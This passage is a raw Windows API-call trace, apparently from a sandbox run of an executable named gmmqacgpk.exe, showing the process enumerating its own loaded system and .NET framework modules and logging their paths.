lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0034.157] GetLastError () returned 0x7f [0034.157] GetModuleInformation (in: hProcess=0x200, hModule=0x747f0000, lpmodinfo=0x28d2bd8, cb=0xc | out: lpmodinfo=0x28d2bd8*(lpBaseOfDll=0x747f0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0034.157] GetLastError () returned 0x7f [0034.157] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x747f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0034.158] GetLastError () returned 0x7f [0034.158] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x747f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0034.159] GetLastError () returned 0x7f [0034.159] GetModuleInformation (in: hProcess=0x200, hModule=0x73e60000, lpmodinfo=0x28d3d94, cb=0xc | out: lpmodinfo=0x28d3d94*(lpBaseOfDll=0x73e60000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0034.159] GetLastError () returned 0x7f [0034.159] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73e60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0034.160] GetLastError () returned 0x7f [0034.160] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73e60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0034.160] GetLastError () returned 0x7f [0034.160] GetModuleInformation (in: hProcess=0x200, hModule=0x73cd0000, lpmodinfo=0x28d4f78, cb=0xc | out: lpmodinfo=0x28d4f78*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x190000, EntryPoint=0x73d6d026)) returned 1 [0034.161] GetLastError () returned 0x7f [0034.161] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0034.191] GetLastError () returned 0x7f [0034.191] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0034.191] GetLastError () returned 0x7f [0034.191] GetModuleInformation (in: hProcess=0x200, hModule=0x73bd0000, lpmodinfo=0x28d6118, cb=0xc | out: lpmodinfo=0x28d6118*(lpBaseOfDll=0x73bd0000, SizeOfImage=0xfb000, EntryPoint=0x73be17e1)) returned 1 [0034.192] GetLastError () returned 0x7f [0034.192] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73bd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0034.193] GetLastError () returned 0x7f [0034.193] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73bd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0034.193] GetLastError () returned 0x7f [0034.194] GetModuleInformation (in: hProcess=0x200, hModule=0x75140000, lpmodinfo=0x28d733c, cb=0xc | out: lpmodinfo=0x28d733c*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0034.194] GetLastError () returned 0x7f [0034.194] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75140000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0034.195] GetLastError () returned 0x7f [0034.195] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75140000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0034.195] GetLastError () returned 0x7f [0034.196] CloseHandle (hObject=0x200) returned 1 [0034.196] GetLastError () returned 0x7f [0034.209] GetCurrentProcessId () returned 0xa60 [0034.209] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa60) returned 0x200 [0034.209] GetLastError () returned 0x7f [0034.209] EnumProcessModules (in: hProcess=0x200, lphModule=0x293d03c, cb=0x100, lpcbNeeded=0x30cdb8 | out: lphModule=0x293d03c, lpcbNeeded=0x30cdb8) returned 1 [0034.210] GetLastError () returned 0x7f [0034.210] GetModuleInformation (in: hProcess=0x200, hModule=0x1320000, lpmodinfo=0x293d17c, cb=0xc | out: lpmodinfo=0x293d17c*(lpBaseOfDll=0x1320000, SizeOfImage=0xb0000, EntryPoint=0x1371d7e)) returned 1 [0034.210] GetLastError () returned 0x7f [0034.210] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x1320000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gmmqacgpk.exe") returned 0xd [0034.210] GetLastError () returned 0x7f [0034.210] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x1320000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe")) returned 0x33 [0034.210] GetLastError () returned 0x7f [0034.210] GetModuleInformation (in: hProcess=0x200, hModule=0x77130000, lpmodinfo=0x293e2c4, cb=0xc | out: lpmodinfo=0x293e2c4*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0034.211] GetLastError () returned 0x7f [0034.211] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0034.211] GetLastError () returned 0x7f [0034.211] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0034.211] GetLastError () returned 0x7f [0034.211] GetModuleInformation (in: hProcess=0x200, hModule=0x74b20000, lpmodinfo=0x293f3b8, cb=0xc | out: lpmodinfo=0x293f3b8*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0034.211] GetLastError () returned 0x7f [0034.211] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74b20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0034.212] GetLastError () returned 0x7f [0034.212] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74b20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0034.212] GetLastError () returned 0x7f [0034.212] GetModuleInformation (in: hProcess=0x200, hModule=0x76c20000, lpmodinfo=0x29404b4, cb=0xc | out: lpmodinfo=0x29404b4*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0034.212] GetLastError () returned 0x7f [0034.212] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76c20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0034.212] GetLastError () returned 0x7f [0034.212] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76c20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0034.213] GetLastError () returned 0x7f [0034.213] GetModuleInformation (in: hProcess=0x200, hModule=0x75960000, lpmodinfo=0x29415b8, cb=0xc | out: lpmodinfo=0x29415b8*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0034.213] GetLastError () returned 0x7f [0034.213] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75960000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0034.213] GetLastError () returned 0x7f [0034.213] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75960000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0034.213] GetLastError () returned 0x7f [0034.213] GetModuleInformation (in: hProcess=0x200, hModule=0x74d40000, lpmodinfo=0x29426f4, cb=0xc | out: lpmodinfo=0x29426f4*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0034.214] GetLastError () returned 0x7f [0034.214] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74d40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0034.214] GetLastError () returned 0x7f [0034.214] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74d40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0034.214] GetLastError () returned 0x7f [0034.214] GetModuleInformation (in: hProcess=0x200, hModule=0x74e10000, lpmodinfo=0x29437f8, cb=0xc | out: lpmodinfo=0x29437f8*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0034.215] GetLastError () returned 0x7f [0034.215] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74e10000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0034.215] GetLastError () returned 0x7f [0034.215] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74e10000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0034.215] GetLastError () returned 0x7f [0034.215] GetModuleInformation (in: hProcess=0x200, hModule=0x75740000, lpmodinfo=0x29448f4, cb=0xc | out: lpmodinfo=0x29448f4*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0034.215] GetLastError () returned 0x7f [0034.216] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75740000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0034.216] GetLastError () returned 0x7f [0034.216] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75740000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0034.216] GetLastError () returned 0x7f [0034.216] GetModuleInformation (in: hProcess=0x200, hModule=0x75ee0000, lpmodinfo=0x29459f0, cb=0xc | out: lpmodinfo=0x29459f0*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0034.216] GetLastError () returned 0x7f [0034.216] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ee0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0034.217] GetLastError () returned 0x7f [0034.217] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ee0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0034.217] GetLastError () returned 0x7f [0034.217] GetModuleInformation (in: hProcess=0x200, hModule=0x74c90000, lpmodinfo=0x2946b3c, cb=0xc | out: lpmodinfo=0x2946b3c*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0034.217] GetLastError () returned 0x7f [0034.217] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0034.218] GetLastError () returned 0x7f [0034.218] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0034.218] GetLastError () returned 0x7f [0034.218] GetModuleInformation (in: hProcess=0x200, hModule=0x74c80000, lpmodinfo=0x2947c38, cb=0xc | out: lpmodinfo=0x2947c38*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0034.218] GetLastError () returned 0x7f [0034.219] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c80000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0034.219] GetLastError () returned 0x7f [0034.219] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c80000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0034.219] GetLastError () returned 0x7f [0034.219] GetModuleInformation (in: hProcess=0x200, hModule=0x74aa0000, lpmodinfo=0x2948d3c, cb=0xc | out: lpmodinfo=0x2948d3c*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0034.220] GetLastError () returned 0x7f [0034.220] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74aa0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0034.220] GetLastError () returned 0x7f [0034.220] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74aa0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0034.220] GetLastError () returned 0x7f [0034.220] GetModuleInformation (in: hProcess=0x200, hModule=0x75340000, lpmodinfo=0x2949e74, cb=0xc | out: lpmodinfo=0x2949e74*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0034.221] GetLastError () returned 0x7f [0034.221] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75340000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0034.221] GetLastError () returned 0x7f [0034.221] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75340000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0034.221] GetLastError () returned 0x7f [0034.222] GetModuleInformation (in: hProcess=0x200, hModule=0x75ad0000, lpmodinfo=0x294af70, cb=0xc | out: lpmodinfo=0x294af70*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0034.222] GetLastError () returned 0x7f [0034.222] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ad0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0034.222] GetLastError () returned 0x7f [0034.222] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ad0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0034.223] GetLastError () returned 0x7f [0034.223] GetModuleInformation (in: hProcess=0x200, hModule=0x74f40000, lpmodinfo=0x294c064, cb=0xc | out: lpmodinfo=0x294c064*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0034.223] GetLastError () returned 0x7f [0034.223] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74f40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0034.224] GetLastError () returned 0x7f [0034.224] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74f40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0034.225] GetLastError () returned 0x7f [0034.225] GetModuleInformation (in: hProcess=0x200, hModule=0x75130000, lpmodinfo=0x294d160, cb=0xc | out: lpmodinfo=0x294d160*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0034.225] GetLastError () returned 0x7f [0034.225] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0034.226] GetLastError () returned 0x7f [0034.226] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0034.226] GetLastError () returned 0x7f [0034.226] GetModuleInformation (in: hProcess=0x200, hModule=0x75090000, lpmodinfo=0x294e24c, cb=0xc | out: lpmodinfo=0x294e24c*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0034.227] GetLastError () returned 0x7f [0034.227] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75090000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0034.227] GetLastError () returned 0x7f [0034.227] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75090000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0034.228] GetLastError () returned 0x7f [0034.228] GetModuleInformation (in: hProcess=0x200, hModule=0x75b60000, lpmodinfo=0x294f3d0, cb=0xc | out: lpmodinfo=0x294f3d0*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0034.228] GetLastError () returned 0x7f [0034.228] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75b60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0034.228] GetLastError () returned 0x7f [0034.229] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75b60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0034.229] GetLastError () returned 0x7f [0034.229] GetModuleInformation (in: hProcess=0x200, hModule=0x75150000, lpmodinfo=0x29504c4, cb=0xc | out: lpmodinfo=0x29504c4*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0034.229] GetLastError () returned 0x7f [0034.229] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75150000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0034.230] GetLastError () returned 0x7f [0034.230] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75150000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0034.230] GetLastError () returned 0x7f [0034.230] GetModuleInformation (in: hProcess=0x200, hModule=0x74a90000, lpmodinfo=0x29515b8, cb=0xc | out: lpmodinfo=0x29515b8*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0034.231] GetLastError () returned 0x7f [0034.231] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74a90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0034.231] GetLastError () returned 0x7f [0034.231] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74a90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0034.232] GetLastError () returned 0x7f [0034.232] GetModuleInformation (in: hProcess=0x200, hModule=0x74000000, lpmodinfo=0x29526b4, cb=0xc | out: lpmodinfo=0x29526b4*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0034.232] GetLastError () returned 0x7f [0034.232] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74000000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0034.233] GetLastError () returned 0x7f [0034.233] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74000000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0034.233] GetLastError () returned 0x7f [0034.233] GetModuleInformation (in: hProcess=0x200, hModule=0x749f0000, lpmodinfo=0x29537ec, cb=0xc | out: lpmodinfo=0x29537ec*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0034.234] GetLastError () returned 0x7f [0034.234] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0034.234] GetLastError () returned 0x7f [0034.235] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0034.235] GetLastError () returned 0x7f [0034.235] GetModuleInformation (in: hProcess=0x200, hModule=0x75fd0000, lpmodinfo=0x2954980, cb=0xc | out: lpmodinfo=0x2954980*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0034.235] GetLastError () returned 0x7f [0034.236] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75fd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0034.236] GetLastError () returned 0x7f [0034.236] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75fd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0034.237] GetLastError () returned 0x7f [0034.237] GetModuleInformation (in: hProcess=0x200, hModule=0x755e0000, lpmodinfo=0x2955a7c, cb=0xc | out: lpmodinfo=0x2955a7c*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0034.237] GetLastError () returned 0x7f [0034.237] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x755e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0034.238] GetLastError () returned 0x7f [0034.238] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x755e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0034.238] GetLastError () returned 0x7f [0034.238] GetModuleInformation (in: hProcess=0x200, hModule=0x749e0000, lpmodinfo=0x2956b70, cb=0xc | out: lpmodinfo=0x2956b70*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0034.239] GetLastError () returned 0x7f [0034.239] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0034.239] GetLastError () returned 0x7f [0034.240] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0034.240] GetLastError () returned 0x7f [0034.241] GetModuleInformation (in: hProcess=0x200, hModule=0x729c0000, lpmodinfo=0x2957c6c, cb=0xc | out: lpmodinfo=0x2957c6c*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0034.241] GetLastError () returned 0x7f [0034.241] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x729c0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0034.242] GetLastError () returned 0x7f [0034.242] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x729c0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0034.242] GetLastError () returned 0x7f [0034.242] GetModuleInformation (in: hProcess=0x200, hModule=0x745d0000, lpmodinfo=0x2958e04, cb=0xc | out: lpmodinfo=0x2958e04*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0034.243] GetLastError () returned 0x7f [0034.243] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x745d0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0034.243] GetLastError () returned 0x7f [0034.243] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x745d0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0034.244] GetLastError () returned 0x7f [0034.244] GetModuleInformation (in: hProcess=0x200, hModule=0x74980000, lpmodinfo=0x2959f00, cb=0xc | out: lpmodinfo=0x2959f00*(lpBaseOfDll=0x74980000, SizeOfImage=0x5b000, EntryPoint=0x749c4d48)) returned 1 [0034.245] GetLastError () returned 0x7f [0034.245] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74980000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0034.245] GetLastError () returned 0x7f [0034.245] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74980000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0034.246] GetLastError () returned 0x7f [0034.246] GetModuleInformation (in: hProcess=0x200, hModule=0x72220000, lpmodinfo=0x295b038, cb=0xc | out: lpmodinfo=0x295b038*(lpBaseOfDll=0x72220000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0034.246] GetLastError () returned 0x7f [0034.246] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72220000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0034.247] GetLastError () returned 0x7f [0034.247] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72220000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0034.248] GetLastError () returned 0x7f [0034.248] GetModuleInformation (in: hProcess=0x200, hModule=0x747f0000, lpmodinfo=0x295c1c4, cb=0xc | out: 